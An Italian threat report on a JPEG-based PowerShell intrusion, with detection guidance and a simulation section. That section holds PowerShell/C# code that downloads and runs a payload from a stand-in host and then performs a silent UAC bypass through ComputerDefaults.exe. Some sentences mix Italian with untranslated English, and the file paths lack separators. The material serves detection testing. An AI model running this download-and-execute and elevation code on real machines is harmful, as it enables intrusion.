OPERAZIONE SILENTCANVAS: INTRUSIONE POWERSHELL MULTISTADIO BASATA SU JPEG

Riepilogo

Operazione SilentCanvas è un’intrusione sofisticata a più stadi che nasconde un payload malevolo in PowerShell all’interno di un file JPEG chiamato sysupdate.jpeg. Quel payload recupera e compila un launcher personalizzato, costruito tramite csc.exe, abusa di ComputerDefaults.exe per eseguire un bypass fileless UAC e installa un servizio ConnectWise ScreenConnect trojanizzato chiamato OneDriveServers per mantenere un accesso remoto persistente. Il malware comunica tramite canali criptati indirizzati a legitserver.theworkpc.com su porte 5443 and 8041. La campagna mostra anche una forte enfasi sull’evasione difensiva, il furto di credenziali e la sorveglianza nascosta.

Indagine

Il rapporto copre sia l’analisi statica che quella dinamica del loader basato su JPEG, il uds.exe binario compilato dinamicamente e i componenti modificati del ScreenConnect. I ricercatori hanno identificato diverse tecniche offensive, tra cui bypass AMSI, abuso di binari living-off-the-land, dirottamento dei registri e derivazione di chiavi personalizzate per la comunicazione criptata. L’analisi dell’infrastruttura ha rivelato una mappatura hard-coded tra legitserver.theworkpc.com e l’indirizzo IP 45.138.16.64. L’indagine ha anche esposto un profilo dettagliato delle vittime, la manipolazione degli account locali e la funzionalità legata all’accesso al desktop nascosto.

Mitigazione

I difensori dovrebbero applicare una rigida allow-listing per gli strumenti legittimi di monitoraggio e gestione remoti e limitare o monitorare da vicino l’esecuzione di csc.exe, cvtres.exe, e ComputerDefaults.exe. Il monitoraggio dovrebbe focalizzarsi anche su cambiamenti sospetti nei registri ms-settings, comportamenti di bypass AMSI in PowerShell, flag di creazione di processi nascosti e creazione non autorizzata di servizi che coinvolgono il nome registry changes, PowerShell AMSI bypass behavior, hidden process creation flags, and unauthorized service creation involving the name OneDriveServers. Qualsiasi account che potrebbe essere stato esposto dovrebbe essere resettato e i sistemi interessati dovrebbero essere immediatamente isolati per prevenire ulteriori abusi.

Risposta

Se vengono rilevati indicatori correlati, l’endpoint dovrebbe essere messo in quarantena immediatamente, il processo malevolo uds.exe e l’attività PowerShell associata dovrebbero essere terminati e il OneDriveServers servizio dovrebbe essere rimosso dall’host. Gli investigatori dovrebbero raccogliere artefatti di registro, binari di servizio e telemetria di rete legati all’infrastruttura di comando-e-controllo per una revisione forense più approfondita. Tutte le credenziali privilegiate dovrebbero essere ruotate e i difensori dovrebbero monitorare i modelli di spostamento laterale associati alle tecniche documentate nella campagna.

Esecuzione di Simulazione

Prerequisito: Il Controllo Pre-volo della Telemetria e del Baseline deve essere superato.

Motivazione: Questa sezione descrive l’esecuzione precisa della tecnica avversaria (TTP) progettata per attivare la regola di rilevamento. I comandi e la narrazione DEVONO riflettere direttamente i TTP identificati e mirare a generare la telemetria esatta attesa dalla logica di rilevamento. Esempi astratti o non correlati porteranno a diagnosi errate.

• Narrativa dell’Attacco e Comandi:

  1. Piede d’appoggio iniziale: L’attaccante ottiene una sessione PowerShell a bassa privilegi sull’endpoint.
  2. Compilazione in tempo reale: Utilizzando il csc.exegià disponibile, l’attaccante compila un downloader C# che scarica un payload di seconda fase da un server C2. La compilazione è avviata dal processo PowerShell per soddisfare la condizione parent-child.
  3. Bypass UAC senza file: L’attaccante esegue l’eseguibile appena costruito tramite ComputerDefaults.exe, che richiede silenziosamente l’elevazione senza mostrare un prompt UAC.
  4. Esecuzione post-elevazione: Il payload elevato stabilisce una shell inversa per l’avversario.

  # Step 1 – Prepara il sorgente C# malevolo (in memoria)
  $csSource = @"
  using System;
  using System.Net;
  using System.Diagnostics;
  public class Downloader {
      public static void Main() {
          using (WebClient wc = new WebClient()) {
              string payloadUrl = "http://malicious.example.com/payload.exe";
              string tempPath = System.IO.Path.Combine($env:TEMP, "payload.exe");
              wc.DownloadFile(payloadUrl, tempPath);
              Process.Start(tempPath);
          }
      }
  }
  "@
  
  $srcPath = "$env:TEMPDownloader.cs"
  $exePath = "$env:TEMPDownloader.exe"
  $csSource | Out-File -FilePath $srcPath -Encoding ASCII
  
  # Step 2 – Compilazione tramite csc.exe (parent = PowerShell)
  & "$env:WINDIRMicrosoft.NETFramework64v4.0.30319csc.exe" /nologo /t:exe /out:$exePath $srcPath
  
  # Step 3 – Attiva il bypass UAC usando ComputerDefaults.exe (ancora figlio di PowerShell)
  $computerDefaults = "$env:SystemRootSystem32ComputerDefaults.exe"
  Start-Process -FilePath $computerDefaults -ArgumentList "`"$exePath`"" -WindowStyle Hidden

• Script di Test di Regressione: (script PowerShell autoconclusivo che riproduce i passaggi sopra)

  # -----------------------------------------------------------------
  # File: trigger_csc_uac_bypass.ps1
  # Purpose: Simula la catena di attacco csc.exe + ComputerDefaults.exe
  # -----------------------------------------------------------------
  
  # Crea sorgente C# malevolo nella directory TEMP
  $src = @"
  using System;
  using System.Net;
  using System.Diagnostics;
  public class Payload {
      public static void Main() {
          using (WebClient wc = new WebClient()) {
              string url = "http://example.com/evil.exe";
              string path = System.IO.Path.Combine($env:TEMP, "evil.exe");
              wc.DownloadFile(url, path);
              Process.Start(path);
          }
      }
  }
  "@
  
  $srcPath = Join-Path $env:TEMP "Payload.cs"
  $exePath = Join-Path $env:TEMP "Payload.exe"
  $src | Out-File -FilePath $srcPath -Encoding ASCII
  
  # Compila con csc.exe (questo processo PowerShell diventa il parent)
  $csc = "$env:WINDIRMicrosoft.NETFramework64v4.0.30319csc.exe"
  & $csc /nologo /t:exe /out:$exePath $srcPath
  
  # Esegui tramite ComputerDefaults.exe per eseguire un UAC bypass silenzioso
  $computerDefaults = "$env:SystemRootSystem32ComputerDefaults.exe"
  Start-Process -FilePath $computerDefaults -ArgumentList "`"$exePath`"" -WindowStyle Hidden

• Comandi di Pulizia:

  # Rimuovi artefatti generati
  Remove-Item -Path "$env:TEMPPayload.cs" -Force -ErrorAction SilentlyContinue
  Remove-Item -Path "$env:TEMPPayload.exe" -Force -ErrorAction SilentlyContinue
  # Opzionalmente termina tutti i processi persistenti avviati dal test
  Get-Process -Name "evil" -ErrorAction SilentlyContinue | Stop-Process -Force